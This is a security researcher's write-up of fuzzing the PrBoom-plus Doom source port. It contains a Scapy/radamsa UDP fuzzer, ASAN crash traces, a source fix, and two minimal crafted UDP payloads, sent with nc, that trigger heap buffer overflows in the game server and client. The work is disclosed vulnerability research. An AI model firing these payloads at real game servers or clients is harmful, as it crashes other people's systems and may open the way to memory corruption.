PrBoom-plus is a Doom source port based on PrBoom (which itself is based on other projects). It supports Windows, Mac, Linux and BSD systems. As I’m a Doom fan by myself I decided to get PrBoom-plus and analyze it from security perspective.
Compilation with ASAN
I started with downloading the project from repository and preparing for compilation with ASAN.
root@ubuntu16:~/projects/prboom-plus# svn co https://svn.prboom.org/repos/branches/prboom-plus-24/prboom2/
According to INSTALL
file I installed required packages.
root@ubuntu16:~/projects/prboom-plus# apt-get install libsdl2-dev libsdl2-net-dev libsdl2-image-dev libpcre3-dev libsdl2-mixer-dev libfluidsynth-dev libportmidi-dev libmad0-dev libdumb1-dev libvorbis-dev
Also, I added useful compilator flags, because it appeared that CFLAGS
environment variable placed additional parameters in invalid order, making them useless.
root@ubuntu16:~/projects/prboom-plus/prboom2# sed -i 's/^CFLAGS_OPT=.*/CFLAGS_OPT="-O0 -ggdb3"/' configure.ac
After such preparation I was able to compile the project with ASAN.
root@ubuntu16:~/projects/prboom-plus/prboom2# ./bootstrap
root@ubuntu16:~/projects/prboom-plus/prboom2# CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix=`pwd`/bin
root@ubuntu16:~/projects/prboom-plus/prboom2# make install
Game data
After compilation, there was the last step required before running the game. PrBoom-Plus is just an engine, so it requires game data to run. I was mostly interested in multiplayer part, so I chose FreeDM, the multiplayer part of Freedoom project.
root@ubuntu16:~/projects/prboom-plus# wget https://github.com/freedoom/freedoom/releases/download/v0.11.3/freedm-0.11.3.zip
root@ubuntu16:~/projects/prboom-plus# unzip freedm-0.11.3.zip
First run and crash
When everything was ready, it was possible to run the server and the client.
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus-game-server
Listening on port 5030, waiting for 2 players
The first crash occured immediately, just by running the client.
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse
M_LoadDefaults: Load system defaults.
default file: /root/.prboom-plus/prboom-plus.cfg
found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
PrBoom-Plus v2.5.1.5 (http://prboom-plus.sourceforge.net/)
I_SetAffinityMask: manual affinity mask is 1
found /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
IWAD found: /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
PrBoom-Plus (built 2019-08-17 13:35:34), playing: DOOM 2: Hell on Earth
PrBoom-Plus is released under the GNU General Public license v2.0.
You are welcome to redistribute it under certain conditions.
It comes with ABSOLUTELY NO WARRANTY. See the file COPYING for details.
V_Init: allocate screens.
V_InitMode: using 8 bit video mode
I_CalculateRes: trying to optimize screen pitch
test case for pitch=640 is processed 14185 times for 100 msec
test case for pitch=672 is processed 15243 times for 100 msec
optimized screen pitch is 672
I_InitScreenResolution: Using resolution 640x480
found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
D_InitNetGame: Checking for network game.
joined game as player 1/2; 0 WADs specified
W_Init: Init WADfiles.
adding /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
adding /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
W_InitCache
Loading DEH lump from /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
M_Init: Init miscellaneous info.
SetRatio: width/height parameters 640x480
SetRatio: storage aspect ratio 4:3
SetRatio: assuming square pixels
SetRatio: display aspect ratio 4:3
SetRatio: gl_ratio 1.600000
SetRatio: multiplier 1/1
D_CheckNetGame: waiting for server to signal game start
=================================================================
==5322==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb3822260 at pc 0x0832048a bp 0xbf8408e8 sp 0xbf8408d8
READ of size 1 at 0xb3822260 thread T0
#0 0x8320489 in ChecksumPacket /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:221
#1 0x83206c7 in I_GetPacket /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:243
#2 0x82c26b1 in D_CheckNetGame /root/projects/prboom-plus/prboom2/src/d_client.c:192
#3 0x817da59 in D_DoomMainSetup /root/projects/prboom-plus/prboom2/src/d_main.c:1853
#4 0x817e94b in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1977
#5 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
#6 0xb73fa636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#7 0x804daf6 (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus+0x804daf6)
0xb3822260 is located 0 bytes to the right of 64-byte region [0xb3822220,0xb3822260)
allocated by thread T0 here:
#0 0xb7a80b44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
#1 0x82c0345 in Z_Malloc /root/projects/prboom-plus/prboom2/src/z_zone.c:397
#2 0x82c25d0 in D_CheckNetGame /root/projects/prboom-plus/prboom2/src/d_client.c:187
#3 0x817da59 in D_DoomMainSetup /root/projects/prboom-plus/prboom2/src/d_main.c:1853
#4 0x817e94b in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1977
#5 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
#6 0xb73fa636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:221 in ChecksumPacket
Shadow bytes around the buggy address:
0x367043f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36704400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36704410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36704420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36704430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36704440: fa fa fa fa 00 00 00 00 00 00 00 00[fa]fa fa fa
0x36704450: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x36704460: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x36704470: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
0x36704480: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x36704490: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==5322==ABORTING
Analyzing first crash
The client crashes on reading outisde a buffer in ChecksumPacket
function in src/SDL/i_network.c:221
.
212 static byte ChecksumPacket(const packet_header_t* buffer, size_t len)
213 {
214 const byte* p = (const void*)buffer;
215 byte sum = 0;
216
217 if (len==0)
218 return 0;
219
220 while (p++, --len)
221 sum += *p;
222
223 return sum;
224 }
It seemed that len
variable has greater values than size of p
buffer. This function was called from I_GetPacket
in src/SDL/i_network.c:243
.
226 size_t I_GetPacket(packet_header_t* buffer, size_t buflen)
227 {
228 int checksum;
229 size_t len;
230 int status;
231
232 status = SDLNet_UDP_Recv(udp_socket, udp_packet);
233 len = udp_packet->len;
234 if (buflen<len)
235 len=buflen;
236 if ( (status!=0) && (len>0) )
237 memcpy(buffer, udp_packet->data, len);
(...)
242 if ( (status!=0) && (len>0)) {
243 byte psum = ChecksumPacket(buffer, udp_packet->len);
(...)
249 }
Here the problem starts to become visible. Value from udp_packet->len
is assigned to a len
variable. Then, there’s a check (line 234) to ensure les
is not greater than buflen
(buffer
’s size). If it is, les
is reduced to value of buflen
. Invocation of memcpy
properly uses len
variable, so no data will be written outside the buffer. However, invocation of ChecksumPacket
uses udp_packet->len
which may be greater than buffer
’s size, finally leading to reading outside it.
To fix this bug, I passed len
variable, the same way as it is done with memcpy
.
root@ubuntu16:~/projects/prboom-plus/prboom2# svn diff src/SDL/i_network.c
Index: src/SDL/i_network.c
===================================================================
--- src/SDL/i_network.c (revision 4540)
+++ src/SDL/i_network.c (working copy)
@@ -240,7 +240,7 @@
checksum=buffer->checksum;
buffer->checksum=0;
if ( (status!=0) && (len>0)) {
- byte psum = ChecksumPacket(buffer, udp_packet->len);
+ byte psum = ChecksumPacket(buffer, len);
/* fprintf(stderr, "recvlen = %u, stolen = %u, csum = %u, psum = %u\n",
udp_packet->len, len, checksum, psum); */
if (psum == checksum) return len;
After recompilation, the game started to work (the game requires two players to start, the client’s command should be ran twice)
Fuzzing
I wanted to fuzz network part of the project. The idea was very simple - collect some network data samples, modify and send. Implementation was even more simplier and naive. I began with collecting data. I ran Wireshark, played the game for a while (2 player game by myself, it was quite strange) and saved the traffic. Then downloaded and built radamsa and installed scapy.
root@ubuntu16:~/projects# git clone https://gitlab.com/akihe/radamsa.git
root@ubuntu16:~/projects# cd radamsa
root@ubuntu16:~/projects/radamsa# make install
root@ubuntu16:~# pip install --pre scapy[basic]
Scapy script responsible for parsing data, modifying with radamsa (I know it’s inefficient) and resend. To fuzz the client instead of the server, UDP port should be changed from 5030 to 1024. The first line in s
function calculates a checksum which validated after being received.
import subprocess
import base64
def s(d):
c = chr(sum([ord(x) for x in d])%256)
p = c + d
send(IP(dst="10.1.1.109")/UDP(dport=5030,sport=12345)/p)
def radamsa(val, seed):
val = base64.b64encode(val)
o = subprocess.check_output("echo '" + val + "' | base64 -d | /usr/bin/radamsa -n 1 --seed " + str(seed), shell=True)
return o
def start(seed, data):
while True:
for d in data:
r = radamsa(d, seed)
s(r)
seed += 1
pcap = rdpcap("doom.pcap")
udps = [ p for p in pcap if UDP in p and p[UDP].dport == 5030 ]
data = list(set([ x[UDP].load[1:] for x in udps ]))
start(0, data)
Note: for some reason packets sent between the client and the server from the same machine didn’t reach their destination. A workaround was to clone my virtual machine and run fuzzing from it.
Crashes
After a while two crashes were found, the first one in the server, and the second one in the client. However, they are related and share similar bug.
Server crash 1
Minimal payload to crash \xb6\x05\x01\x01\x56\x33\x27\xff\x00
.
# echo -n -e '\xb6\x05\x01\x01\x56\x33\x27\xff\x00' | nc -u 10.1.1.109 5030
results in:
=================================================================
==29005==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb4f02810 at pc 0xb7a76866 bp 0xbf989f48 sp 0xbf989b18
WRITE of size 10991 at 0xb4f02810 thread T0
#0 0xb7a76865 (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
#1 0x804e24c in I_SendPacketTo /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:261
#2 0x804ce71 in main /root/projects/prboom-plus/prboom2/src/d_server.c:708
#3 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#4 0x8049396 (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus-game-server+0x8049396)
0xb4f02810 is located 0 bytes to the right of 10000-byte region [0xb4f00100,0xb4f02810)
allocated by thread T0 here:
#0 0xb7ae3b44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
#1 0xb7714767 (/usr/lib/i386-linux-gnu/libSDL2-2.0.so.0+0x79767)
#2 0x80499bf in I_InitSockets /root/projects/prboom-plus/prboom2/src/d_server.c:296
#3 0x804a8d3 in main /root/projects/prboom-plus/prboom2/src/d_server.c:432
#4 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
Shadow bytes around the buggy address:
0x369e04b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x369e0500: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29005==ABORTING
The program tried to write 10991 bytes to a buffer with 10000 bytes on a heap in I_SendPacketTo
in src/SDL/i_network.c:261
.
258 void I_SendPacketTo(packet_header_t* packet, size_t len, UDP_CHANNEL *to)
259 {
260 packet->checksum = ChecksumPacket(packet, len);
261 memcpy(udp_packet->data, packet, udp_packet->len = len);
262 SDLNet_UDP_Send(udp_socket, *to, udp_packet);
263 }
From this I assummed that len
variable was greater than length of udp_packet->data
, so I started digging.
88 void I_InitNetwork(void)
89 {
(...)
92 udp_packet = SDLNet_AllocPacket(10000);
UDP packet has fixed size of 10000 bytes. A packet from which data was copied is allocated in main
function in src/d_server.c:688
.
680 for (i=0; i<MAXPLAYERS; i++)
681 if (playerstate[i] == pc_playing) {
682 int tics;
683 if (lowtic <= remoteticto[i]) continue;
684 if ((remoteticto[i] -= xtratics) < 0) remoteticto[i] = 0;
685 tics = lowtic - remoteticto[i];
686 {
687 byte *p;
688 packet = malloc(sizeof(packet_header_t) + 1 +
689 tics * (1 + numplayers * (1 + sizeof(ticcmd_t))));
(...)
707 }
708 I_SendPacketTo(packet, p - ((byte*)packet), remoteaddr+i);
tics
variable was the only variable partially controlled from network input, so I followed how it was set.
remoteticto
is set here:
565 remoteticto[from] = ptic(packet);
This array is signed int type,
461 int remoteticto[MAXPLAYERS] = { 0, 0, 0, 0 };
but a packet received over network is parsed to packet_header_t
structure with unsigned tic
(0xff273356
from the payload). When tic
is assigned to the array (line 565), integer overflow occurs and it becomes a negative value (-14208170
). In the result, in line 684, this whole value is zeroed. lowtic
is the only variable on which tics
depends (line 685).
lowtic
is taken from remoteticfrom
which grows itself as the game is started and players connected. In practice waiting for less than 20 seconds was enough to get lowtic
greater than 525
, which resulted in the allocated buffer bigger than 10000 bytes and finally in heap buffer overflow.
(gdb) printf "%u\n" ,sizeof(packet_header_t) + 1 + (525) * (1 + numplayers * (1 + sizeof(ticcmd_t)))
9984
(gdb) printf "%u\n" ,sizeof(packet_header_t) + 1 + (526) * (1 + numplayers * (1 + sizeof(ticcmd_t)))
10003
Client crash 1
Minimal payload to crash: \xb4\x05\x00\x00\x56\x33\x27\xff
# echo -n -e '\xb4\x05\x00\x00\x56\x33\x27\xff' | nc -u 10.1.1.109 1024
and the result:
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse
M_LoadDefaults: Load system defaults.
default file: /root/.prboom-plus/prboom-plus.cfg
found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
PrBoom-Plus v2.5.1.5 (http://prboom-plus.sourceforge.net/)
I_SetAffinityMask: manual affinity mask is 1
found /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
IWAD found: /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
PrBoom-Plus (built 2019-08-17 13:35:34), playing: DOOM 2: Hell on Earth
PrBoom-Plus is released under the GNU General Public license v2.0.
You are welcome to redistribute it under certain conditions.
It comes with ABSOLUTELY NO WARRANTY. See the file COPYING for details.
V_Init: allocate screens.
V_InitMode: using 8 bit video mode
I_CalculateRes: trying to optimize screen pitch
test case for pitch=640 is processed 12203 times for 100 msec
test case for pitch=672 is processed 15639 times for 100 msec
optimized screen pitch is 672
I_InitScreenResolution: Using resolution 640x480
found /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
D_InitNetGame: Checking for network game.
joined game as player 2/2; 0 WADs specified
W_Init: Init WADfiles.
adding /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
adding /root/projects/prboom-plus/prboom2/bin/share/games/doom/prboom-plus.wad
W_InitCache
Loading DEH lump from /root/projects/prboom-plus/freedm-0.11.3/freedm.wad
M_Init: Init miscellaneous info.
SetRatio: width/height parameters 640x480
SetRatio: storage aspect ratio 4:3
SetRatio: assuming square pixels
SetRatio: display aspect ratio 4:3
SetRatio: gl_ratio 1.600000
SetRatio: multiplier 1/1
D_CheckNetGame: waiting for server to signal game start
R_Init: Init DOOM refresh daemon -
R_LoadTrigTables: Endianness...ok.
R_InitData: Textures Flats Sprites
R_Init: R_InitPlanes R_InitLightTables R_InitSkyMap R_InitTranslationsTables R_InitPatches
P_Init: Init Playloop state.
I_Init: Setting up machine state.
I_InitSound: configured audio device with 1024 samples/slice
I_InitSound: sound module ready
S_Init: Setting up sound.
S_Init: default sfx volume 8
HU_Init: Setting up heads up display.
I_InitGraphics: 640x480
I_UpdateVideoMode: 0x20, SDL buffer, direct access
SetRatio: width/height parameters 640x480
SetRatio: storage aspect ratio 4:3
SetRatio: assuming square pixels
SetRatio: display aspect ratio 4:3
SetRatio: gl_ratio 1.600000
SetRatio: multiplier 1/1
ST_Init: Init status bar.
P_GetNodesVersion: using normal BSP nodes
=================================================================
==29087==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xa9808810 at pc 0xb79cf866 bp 0xbfb754e8 sp 0xbfb750b8
WRITE of size 12354 at 0xa9808810 thread T0
#0 0xb79cf865 (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
#1 0x832078f in I_SendPacket /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:254
#2 0x82c30bf in NetUpdate /root/projects/prboom-plus/prboom2/src/d_client.c:369
#3 0x8283048 in R_RenderPlayerView /root/projects/prboom-plus/prboom2/src/r_main.c:1126
#4 0x8175032 in D_Display /root/projects/prboom-plus/prboom2/src/d_main.c:360
#5 0x8175be9 in D_DoomLoop /root/projects/prboom-plus/prboom2/src/d_main.c:496
#6 0x817e950 in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1979
#7 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
#8 0xb73b6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#9 0x804daf6 (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus+0x804daf6)
0xa9808810 is located 0 bytes to the right of 10000-byte region [0xa9806100,0xa9808810)
allocated by thread T0 here:
#0 0xb7a3cb44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
#1 0xb78c1767 (/usr/lib/i386-linux-gnu/libSDL2-2.0.so.0+0x79767)
#2 0x82c1c84 in D_InitNetGame /root/projects/prboom-plus/prboom2/src/d_client.c:113
#3 0x817ce49 in D_DoomMainSetup /root/projects/prboom-plus/prboom2/src/d_main.c:1723
#4 0x817e94b in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1977
#5 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
#6 0xb73b6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
Shadow bytes around the buggy address:
0x353010b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x353010f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x35301100: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x35301150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29087==ABORTING
A function I_SendPacket
in src/SDL/i_network.c:254
copies more bytes than allocated fixed 10000 bytes in UDP packet.
251 void I_SendPacket(packet_header_t* packet, size_t len)
252 {
253 packet->checksum = ChecksumPacket(packet, len);
254 memcpy(udp_packet->data, packet, udp_packet->len = len);
255 SDLNet_UDP_Send(udp_socket, 0, udp_packet);
256 }
I looked how size_t len
is calculated in src/d_client.c
and this problem looked similar to the previous one.
300 case PKT_RETRANS: // Resend request
301 remotesend = doom_ntohl(packet->tic);
(...)
350 if (server && maketic > remotesend) { // Send the tics to the server
351 int sendtics;
352 remotesend -= xtratics;
353 if (remotesend < 0) remotesend = 0;
354 sendtics = maketic - remotesend;
355 {
356 size_t pkt_size = sizeof(packet_header_t) + 2 + sendtics * sizeof(ticcmd_t);
357 packet_header_t *packet = Z_Malloc(pkt_size, PU_STATIC, NULL);
(...)
369 I_SendPacket(packet, pkt_size);
remotesend
is a signed integer, but tic
in packet
is unsigned, so integer overflow occurs and 0xff273356
from the payload becomes a negative value. In line 353 remotesend
is zeroed, so sendtics
depends only on maketic
. This variable grows itself as the game is on, and when it reaches 1249
(in practice it was less than a minute) the allocated buffer is bigger than fixed 10000 bytes and heap buffer overflow occurs.
(gdb) print sizeof(packet_header_t) + 2 + 1249 * sizeof(ticcmd_t)
$17 = 10002
(gdb) print sizeof(packet_header_t) + 2 + 1248 * sizeof(ticcmd_t)
$18 = 9994
Summary
The first crash was found just after starting the game, the next two after very quick and naive fuzzing. I don’t consider this topic as closed, but I reported my findings and I’m moving to looking for another vulnerabilities using various approaches.